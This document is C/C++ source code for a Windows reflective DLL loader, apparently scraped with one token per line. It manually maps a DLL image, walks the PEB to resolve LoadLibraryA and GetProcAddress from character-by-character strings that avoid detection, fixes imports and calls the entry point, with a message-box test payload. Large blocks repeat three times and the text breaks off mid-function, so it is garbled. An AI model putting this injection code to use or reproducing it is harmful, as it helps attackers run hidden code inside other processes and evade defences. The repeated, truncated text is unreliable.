LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNtHeaders +
sizeof
(IMAGE_NT_HEADERS));
DWORD
exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
DWORD
exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
DWORD
exportDirFileOffset = RVAtoFileOffset((
DWORD
)exportDirRVA, pNtHeaders, pSec);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)pBuf + exportDirFileOffset);
DWORD
pRNames = pExportDir->AddressOfNames;
DWORD
pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
DWORD
* pNames = (
DWORD
*)((
BYTE
*)pBuf + pFNames);
DWORD
pRFunctions = pExportDir->AddressOfFunctions;
DWORD
pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
DWORD
* pFunctions = (
DWORD
*)((
BYTE
*)pBuf + pFFunctions);
WORD
pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
WORD
pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
WORD
* pNameOrdinals = (
WORD
*)((
BYTE
*)pBuf + pFFunctions);
DWORD
funcRVA = 0;
for
(
DWORD
i = 0; i < pExportDir->NumberOfNames; i++) {
DWORD
functionNameRVA = pNames[i];
DWORD
functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
const
char
* pName = (
char
*)((
BYTE
*)pBuf + functionNameFileOffset);
if
(
strcmp
(pName, funcName) == 0) {
funcRVA = pFunctions[i];
break
;
}
}
if
(funcRVA == 0) {
printf
(
"\n[-] Function %s not found."
, funcName);
return
NULL;
}
DWORD
fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
DWORD
* pfileOffset = (
DWORD
*)((
BYTE
*)pBuf + fileOffset);
if
(fileOffset == 0) {
printf
(
"\n[-] Failed to convert RVA to file offset."
);
return
NULL;
}
LPVOID
remoteFuncAddr = (
LPBYTE
)pDll + fileOffset;
return
remoteFuncAddr;
}
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNtHeaders +
sizeof
(IMAGE_NT_HEADERS));
DWORD
exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
DWORD
exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
DWORD
exportDirFileOffset = RVAtoFileOffset((
DWORD
)exportDirRVA, pNtHeaders, pSec);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)pBuf + exportDirFileOffset);
DWORD
pRNames = pExportDir->AddressOfNames;
DWORD
pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
DWORD
* pNames = (
DWORD
*)((
BYTE
*)pBuf + pFNames);
DWORD
pRFunctions = pExportDir->AddressOfFunctions;
DWORD
pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
DWORD
* pFunctions = (
DWORD
*)((
BYTE
*)pBuf + pFFunctions);
WORD
pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
WORD
pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
WORD
* pNameOrdinals = (
WORD
*)((
BYTE
*)pBuf + pFFunctions);
DWORD
funcRVA = 0;
for
(
DWORD
i = 0; i < pExportDir->NumberOfNames; i++) {
DWORD
functionNameRVA = pNames[i];
DWORD
functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
const
char
* pName = (
char
*)((
BYTE
*)pBuf + functionNameFileOffset);
if
(
strcmp
(pName, funcName) == 0) {
funcRVA = pFunctions[i];
break
;
}
}
if
(funcRVA == 0) {
printf
(
"\n[-] Function %s not found."
, funcName);
return
NULL;
}
DWORD
fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
DWORD
* pfileOffset = (
DWORD
*)((
BYTE
*)pBuf + fileOffset);
if
(fileOffset == 0) {
printf
(
"\n[-] Failed to convert RVA to file offset."
);
return
NULL;
}
LPVOID
remoteFuncAddr = (
LPBYTE
)pDll + fileOffset;
return
remoteFuncAddr;
}
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
for
(
int
i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if
(rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
return
pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
}
}
return
0xFFFFFFFF;
}
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
for
(
int
i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if
(rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
return
pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
}
}
return
0xFFFFFFFF;
}
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll);
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName);
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName);
void
my_wctomb(
char
* dest,
const
wchar_t
* src);
int
CompareStrings(
const
char
* str1,
const
char
* str2);
BOOL
APIENTRY DllMain(
HMODULE
hModule,
DWORD
ul_reason_for_call,
LPVOID
lpReserved)
{
MessageBox(NULL, L
"哇塞!!你成功啦!!!"
, L
"注入程序检测中..."
, MB_YESNO | MB_ICONASTERISK);
char
processName[MAX_PATH] = { 0 };
DWORD
length = GetModuleFileNameA(NULL, processName, MAX_PATH);
MessageBoxA(NULL, processName,
"当前进程路径: "
, MB_YESNO | MB_ICONASTERISK);
Sleep(99999999);
return
TRUE;
}
void
my_wctomb(
char
* dest,
const
wchar_t
* src) {
while
(*src) {
if
(*src >= L
'A'
&& *src <= L
'Z'
) {
*dest = (
char
)(*src + (L
'a'
- L
'A'
));
}
else
if
(*src >= L
'a'
&& *src <= L
'z'
) {
*dest = (
char
)*src;
}
else
if
(*src >= L
'0'
&& *src <= L
'9'
) {
*dest = (
char
)*src;
}
else
{
*dest =
'?'
;
}
dest++;
src++;
}
*dest =
'\0'
;
}
int
CompareStrings(
const
char
* str1,
const
char
* str2) {
while
(*str2 !=
'\0'
) {
if
(*str1 != *str2) {
return
0;
}
str1++;
str2++;
}
return
1;
}
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName) {
size_t
i = 0;
while
(dllName[i] != L
'\0'
|| targetDllName[i] != L
'\0'
) {
wchar_t
ch1 = (dllName[i] >= L
'A'
&& dllName[i] <= L
'Z'
) ? dllName[i] + (L
'a'
- L
'A'
) : dllName[i];
wchar_t
ch2 = (targetDllName[i] >= L
'A'
&& targetDllName[i] <= L
'Z'
) ? targetDllName[i] + (L
'a'
- L
'A'
) : targetDllName[i];
if
(ch1 != ch2) {
return
0;
}
i++;
}
return
1;
}
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName) {
wchar_t
* fileName = NULL;
wchar_t
* temp = (
wchar_t
*)fullDllName;
while
(*temp) {
if
(*temp == L
'\\'
) {
fileName = temp + 1;
}
temp++;
}
if
(!fileName) {
fileName = (
wchar_t
*)fullDllName;
}
return
fileName;
}
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll)
{
PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;
PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);
DWORD
ImageSize = pNTheader->OptionalHeader.SizeOfImage;
PBYTE
pAlloc = (
PBYTE
)((
ULONG_PTR
)pDll + ImageSize);
if
(pAlloc == NULL)
return
FALSE;
if
(pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE)
return
FALSE;
BYTE
* dst = (
BYTE
*)pAlloc;
BYTE
* src = (
BYTE
*)pDll;
size_t
size = pNTheader->OptionalHeader.SizeOfHeaders;
for
(
size_t
i = 0; i < size; ++i) {
dst[i] = src[i];
}
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNTheader +
sizeof
(IMAGE_NT_HEADERS));
DWORD
SecNum = pNTheader->FileHeader.NumberOfSections;
for
(
int
i = 0; i < SecNum; i++) {
if
(pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
pSec++;
continue
;
}
char
* chSrcMem = (
char
*)((
ULONG_PTR
)pDll + (
DWORD
)(pSec->PointerToRawData));
char
* chDestMem = (
char
*)((
ULONG_PTR
)pAlloc + (
DWORD
)(pSec->VirtualAddress));
DWORD
dwSizeOfRawData = pSec->SizeOfRawData;
DWORD
dwVirtualSize = pSec->Misc.VirtualSize;
for
(
DWORD
j = 0; j < dwSizeOfRawData; j++) {
chDestMem[j] = chSrcMem[j];
}
if
(dwVirtualSize > dwSizeOfRawData) {
char
* start = chDestMem + dwSizeOfRawData;
char
* end = chDestMem + dwVirtualSize;
while
(start < end) {
*start++ = 0;
}
}
pSec++;
}
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
int
SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;
if
(pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
{
do
{
PWORD
TypeOffset = (
WORD
*)((
PBYTE
)pBaseReloc + 8);
int
num = (pBaseReloc->SizeOfBlock - 8) / 2;
for
(
int
i = 0; i < num; i++)
{
WORD
type = TypeOffset[i] >> 12;
WORD
offset = TypeOffset[i] & 0x0FFF;
int
differ = 0;
if
(type == 3)
{
differ = *((
ULONG_PTR
*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
ULONG_PTR
p = (
ULONG_PTR
)pAlloc + differ;
char
* tagetaddr = (
char
*)(
ULONG_PTR
)pAlloc + offset + pBaseReloc->VirtualAddress;
char
* fromeaddr = (
char
*)p;
for
(
int
c = 0;c < 4;c++) {
tagetaddr[c] = fromeaddr[c];
}
}
}
SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;
pBaseReloc = (PIMAGE_BASE_RELOCATION)((
PBYTE
)pBaseReloc + pBaseReloc->SizeOfBlock);
}
while
(SizeOfBaseReloc);
}
typedef
FARPROC(WINAPI* GETPROCADDR)(
HMODULE
,
LPCSTR
);
typedef
HMODULE
(WINAPI* LOADLIBRARYA)(
LPCSTR
);
GETPROCADDR pGetProcAddress = NULL;
LOADLIBRARYA pLoadLibraryA = NULL;
PTEB pTEB = (PTEB)__readgsqword(0x30);
PPEB pPEB = pTEB->ProcessEnvironmentBlock;
PPEB_LDR_DATA pLdr = pPEB->Ldr;
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while
(pCurrentEntry && pCurrentEntry != pListHead)
{
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if
(pEntry && pEntry->FullDllName.Buffer)
{
wchar_t
* dllName = pEntry->FullDllName.Buffer;
wchar_t
* fileName = ExtractDllName(dllName);
wchar_t
a[50] = { 0 };
a[0] = L
'k'
;
a[1] = L
'e'
;
a[2] = L
'r'
;
a[3] = L
'n'
;
a[4] = L
'e'
;
a[5] = L
'l'
;
a[6] = L
'3'
;
a[7] = L
'2'
;
a[8] = L
'.'
;
a[9] = L
'd'
;
a[10] = L
'l'
;
a[11] = L
'l'
;
a[12] = L
'\0'
;
if
(CompareDllName(fileName, a)) {
HMODULE
hKernel32 = (
HMODULE
)pEntry->DllBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD
* pFunctionNames = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNames);
DWORD
* pFunctionAddresses = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfFunctions);
WORD
* pFunctionOrdinals = (
WORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
char
targetName1[50] =
"LoadLibraryA"
;
targetName1[0] =
'L'
;
targetName1[1] =
'o'
;
targetName1[2] =
'a'
;
targetName1[3] =
'd'
;
targetName1[4] =
'L'
;
targetName1[5] =
'i'
;
targetName1[6] =
'b'
;
targetName1[7] =
'r'
;
targetName1[8] =
'a'
;
targetName1[9] =
'r'
;
targetName1[10] =
'y'
;
targetName1[11] =
'A'
;
targetName1[12] =
'\0'
;
char
targetName2[50] = { 0 };
targetName2[0] =
'G'
;
targetName2[1] =
'e'
;
targetName2[2] =
't'
;
targetName2[3] =
'P'
;
targetName2[4] =
'r'
;
targetName2[5] =
'o'
;
targetName2[6] =
'c'
;
targetName2[7] =
'A'
;
targetName2[8] =
'd'
;
targetName2[9] =
'd'
;
targetName2[10] =
'r'
;
targetName2[11] =
'e'
;
targetName2[12] =
's'
;
targetName2[13] =
's'
;
targetName2[14] =
'\0'
;
int
isP = 0;
for
(
DWORD
i = 0; i < pExportDirectory->NumberOfNames; i++) {
char
* functionName = (
char
*)((
BYTE
*)hKernel32 + pFunctionNames[i]);
if
(CompareStrings(functionName, targetName1)) {
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pLoadLibraryA = (LOADLIBRARYA)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(CompareStrings(functionName, targetName2)) {
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pGetProcAddress = (GETPROCADDR)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(isP == 2) {
break
;
}
}
break
;
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if
(!pLoadLibraryA && !pGetProcAddress)
{
char
foece[] =
"无法获取 LoadLibraryA 地址,请检查目标进程模块"
;
return
FALSE;
}
else
{
char
sucsess[] =
"sucsess"
;
}
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
if
(pImport != NULL)
{
while
(pImport->Name != NULL)
{
char
DLLname[50] = { 0 };
char
* pDLLName = (
char
*)(pImport->Name + pAlloc);
for
(
int
i = 0; i <
sizeof
(DLLname) - 1; i++)
{
if
(pDLLName[i] ==
'\0'
)
break
;
DLLname[i] = pDLLName[i];
}
DLLname[
sizeof
(DLLname) - 1] =
'\0'
;
HMODULE
hProcess = pLoadLibraryA(DLLname);
if
(!hProcess)
{
return
FALSE;
}
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
while
((
ULONG_PTR
)(pINT->u1.AddressOfData) != NULL)
{
PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);
if
(pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, (
LPCSTR
)(pINT->u1.AddressOfData)));
}
else
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, pFucname->Name));
}
pINT++;
pIAT++;
}
pImport++;
}
}
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);
FARPROC EOP = (FARPROC)((
LPBYTE
)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);
EOP();
return
TRUE;
}
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll);
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName);
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName);
void
my_wctomb(
char
* dest,
const
wchar_t
* src);
int
CompareStrings(
const
char
* str1,
const
char
* str2);
BOOL
APIENTRY DllMain(
HMODULE
hModule,
DWORD
ul_reason_for_call,
LPVOID
lpReserved)
{
MessageBox(NULL, L
"哇塞!!你成功啦!!!"
, L
"注入程序检测中..."
, MB_YESNO | MB_ICONASTERISK);
char
processName[MAX_PATH] = { 0 };
DWORD
length = GetModuleFileNameA(NULL, processName, MAX_PATH);
MessageBoxA(NULL, processName,
"当前进程路径: "
, MB_YESNO | MB_ICONASTERISK);
Sleep(99999999);
return
TRUE;
}
void
my_wctomb(
char
* dest,
const
wchar_t
* src) {
while
(*src) {
if
(*src >= L
'A'
&& *src <= L
'Z'
) {
*dest = (
char
)(*src + (L
'a'
- L
'A'
));
}
else
if
(*src >= L
'a'
&& *src <= L
'z'
) {
*dest = (
char
)*src;
}
else
if
(*src >= L
'0'
&& *src <= L
'9'
) {
*dest = (
char
)*src;
}
else
{
*dest =
'?'
;
}
dest++;
src++;
}
*dest =
'\0'
;
}
int
CompareStrings(
const
char
* str1,
const
char
* str2) {
while
(*str2 !=
'\0'
) {
if
(*str1 != *str2) {
return
0;
}
str1++;
str2++;
}
return
1;
}
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName) {
size_t
i = 0;
while
(dllName[i] != L
'\0'
|| targetDllName[i] != L
'\0'
) {
wchar_t
ch1 = (dllName[i] >= L
'A'
&& dllName[i] <= L
'Z'
) ? dllName[i] + (L
'a'
- L
'A'
) : dllName[i];
wchar_t
ch2 = (targetDllName[i] >= L
'A'
&& targetDllName[i] <= L
'Z'
) ? targetDllName[i] + (L
'a'
- L
'A'
) : targetDllName[i];
if
(ch1 != ch2) {
return
0;
}
i++;
}
return
1;
}
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName) {
wchar_t
* fileName = NULL;
wchar_t
* temp = (
wchar_t
*)fullDllName;
while
(*temp) {
if
(*temp == L
'\\'
) {
fileName = temp + 1;
}
temp++;
}
if
(!fileName) {
fileName = (
wchar_t
*)fullDllName;
}
return
fileName;
}
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll)
{
PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;
PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);
DWORD
ImageSize = pNTheader->OptionalHeader.SizeOfImage;
PBYTE
pAlloc = (
PBYTE
)((
ULONG_PTR
)pDll + ImageSize);
if
(pAlloc == NULL)
return
FALSE;
if
(pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE)
return
FALSE;
BYTE
* dst = (
BYTE
*)pAlloc;
BYTE
* src = (
BYTE
*)pDll;
size_t
size = pNTheader->OptionalHeader.SizeOfHeaders;
for
(
size_t
i = 0; i < size; ++i) {
dst[i] = src[i];
}
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNTheader +
sizeof
(IMAGE_NT_HEADERS));
DWORD
SecNum = pNTheader->FileHeader.NumberOfSections;
for
(
int
i = 0; i < SecNum; i++) {
if
(pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
pSec++;
continue
;
}
char
* chSrcMem = (
char
*)((
ULONG_PTR
)pDll + (
DWORD
)(pSec->PointerToRawData));
char
* chDestMem = (
char
*)((
ULONG_PTR
)pAlloc + (
DWORD
)(pSec->VirtualAddress));
DWORD
dwSizeOfRawData = pSec->SizeOfRawData;
DWORD
dwVirtualSize = pSec->Misc.VirtualSize;
for
(
DWORD
j = 0; j < dwSizeOfRawData; j++) {
chDestMem[j] = chSrcMem[j];
}
if
(dwVirtualSize > dwSizeOfRawData) {
char
* start = chDestMem + dwSizeOfRawData;
char
* end = chDestMem + dwVirtualSize;
while
(start < end) {
*start++ = 0;
}
}
pSec++;
}
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
int
SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;
if
(pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
{
do
{
PWORD
TypeOffset = (
WORD
*)((
PBYTE
)pBaseReloc + 8);
int
num = (pBaseReloc->SizeOfBlock - 8) / 2;
for
(
int
i = 0; i < num; i++)
{
WORD
type = TypeOffset[i] >> 12;
WORD
offset = TypeOffset[i] & 0x0FFF;
int
differ = 0;
if
(type == 3)
{
differ = *((
ULONG_PTR
*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
ULONG_PTR
p = (
ULONG_PTR
)pAlloc + differ;
char
* tagetaddr = (
char
*)(
ULONG_PTR
)pAlloc + offset + pBaseReloc->VirtualAddress;
char
* fromeaddr = (
char
*)p;
for
(
int
c = 0;c < 4;c++) {
tagetaddr[c] = fromeaddr[c];
}
}
}
SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;
pBaseReloc = (PIMAGE_BASE_RELOCATION)((
PBYTE
)pBaseReloc + pBaseReloc->SizeOfBlock);
}
while
(SizeOfBaseReloc);
}
typedef
FARPROC(WINAPI* GETPROCADDR)(
HMODULE
,
LPCSTR
);
typedef
HMODULE
(WINAPI* LOADLIBRARYA)(
LPCSTR
);
GETPROCADDR pGetProcAddress = NULL;
LOADLIBRARYA pLoadLibraryA = NULL;
PTEB pTEB = (PTEB)__readgsqword(0x30);
PPEB pPEB = pTEB->ProcessEnvironmentBlock;
PPEB_LDR_DATA pLdr = pPEB->Ldr;
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while
(pCurrentEntry && pCurrentEntry != pListHead)
{
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if
(pEntry && pEntry->FullDllName.Buffer)
{
wchar_t
* dllName = pEntry->FullDllName.Buffer;
wchar_t
* fileName = ExtractDllName(dllName);
wchar_t
a[50] = { 0 };
a[0] = L
'k'
;
a[1] = L
'e'
;
a[2] = L
'r'
;
a[3] = L
'n'
;
a[4] = L
'e'
;
a[5] = L
'l'
;
a[6] = L
'3'
;
a[7] = L
'2'
;
a[8] = L
'.'
;
a[9] = L
'd'
;
a[10] = L
'l'
;
a[11] = L
'l'
;
a[12] = L
'\0'
;
if
(CompareDllName(fileName, a)) {
HMODULE
hKernel32 = (
HMODULE
)pEntry->DllBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD
* pFunctionNames = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNames);
DWORD
* pFunctionAddresses = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfFunctions);
WORD
* pFunctionOrdinals = (
WORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
char
targetName1[50] =
"LoadLibraryA"
;
targetName1[0] =
'L'
;
targetName1[1] =
'o'
;
targetName1[2] =
'a'
;
targetName1[3] =
'd'
;
targetName1[4] =
'L'
;
targetName1[5] =
'i'
;
targetName1[6] =
'b'
;
targetName1[7] =
'r'
;
targetName1[8] =
'a'
;
targetName1[9] =
'r'
;
targetName1[10] =
'y'
;
targetName1[11] =
'A'
;
targetName1[12] =
'\0'
;
char
targetName2[50] = { 0 };
targetName2[0] =
'G'
;
targetName2[1] =
'e'
;
targetName2[2] =
't'
;
targetName2[3] =
'P'
;
targetName2[4] =
'r'
;
targetName2[5] =
'o'
;
targetName2[6] =
'c'
;
targetName2[7] =
'A'
;
targetName2[8] =
'd'
;
targetName2[9] =
'd'
;
targetName2[10] =
'r'
;
targetName2[11] =
'e'
;
targetName2[12] =
's'
;
targetName2[13] =
's'
;
targetName2[14] =
'\0'
;
int
isP = 0;
for
(
DWORD
i = 0; i < pExportDirectory->NumberOfNames; i++) {
char
* functionName = (
char
*)((
BYTE
*)hKernel32 + pFunctionNames[i]);
if
(CompareStrings(functionName, targetName1)) {
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pLoadLibraryA = (LOADLIBRARYA)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(CompareStrings(functionName, targetName2)) {
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pGetProcAddress = (GETPROCADDR)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(isP == 2) {
break
;
}
}
break
;
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if
(!pLoadLibraryA && !pGetProcAddress)
{
char
foece[] =
"无法获取 LoadLibraryA 地址,请检查目标进程模块"
;
return
FALSE;
}
else
{
char
sucsess[] =
"sucsess"
;
}
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
if
(pImport != NULL)
{
while
(pImport->Name != NULL)
{
char
DLLname[50] = { 0 };
char
* pDLLName = (
char
*)(pImport->Name + pAlloc);
for
(
int
i = 0; i <
sizeof
(DLLname) - 1; i++)
{
if
(pDLLName[i] ==
'\0'
)
break
;
DLLname[i] = pDLLName[i];
}
DLLname[
sizeof
(DLLname) - 1] =
'\0'
;
HMODULE
hProcess = pLoadLibraryA(DLLname);
if
(!hProcess)
{
return
FALSE;
}
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
while
((
ULONG_PTR
)(pINT->u1.AddressOfData) != NULL)
{
PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);
if
(pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, (
LPCSTR
)(pINT->u1.AddressOfData)));
}
else
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, pFucname->Name));
}
pINT++;
pIAT++;
}
pImport++;
}
}
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);
FARPROC EOP = (FARPROC)((
LPBYTE
)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);
EOP();
return
TRUE;
}
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll);
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName);
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName);
void
my_wctomb(
char
* dest,
const
wchar_t
* src);
int
CompareStrings(
const
char
* str1,
const
char
* str2);
BOOL
APIENTRY DllMain(
HMODULE
hModule,
DWORD
ul_reason_for_call,
LPVOID
lpReserved)
{
MessageBox(NULL, L
"哇塞!!你成功啦!!!"
, L
"注入程序检测中..."
, MB_YESNO | MB_ICONASTERISK);
char
processName[MAX_PATH] = { 0 };
DWORD
length = GetModuleFileNameA(NULL, processName, MAX_PATH);
MessageBoxA(NULL, processName,
"当前进程路径: "
, MB_YESNO | MB_ICONASTERISK);
Sleep(99999999);
return
TRUE;
}
void
my_wctomb(
char
* dest,
const
wchar_t
* src) {
while
(*src) {
if
(*src >= L
'A'
&& *src <= L
'Z'
) {
*dest = (
char
)(*src + (L
'a'
- L
'A'
));
}
else
if
(*src >= L
'a'
&& *src <= L
'z'
) {
*dest = (
char
)*src;
}
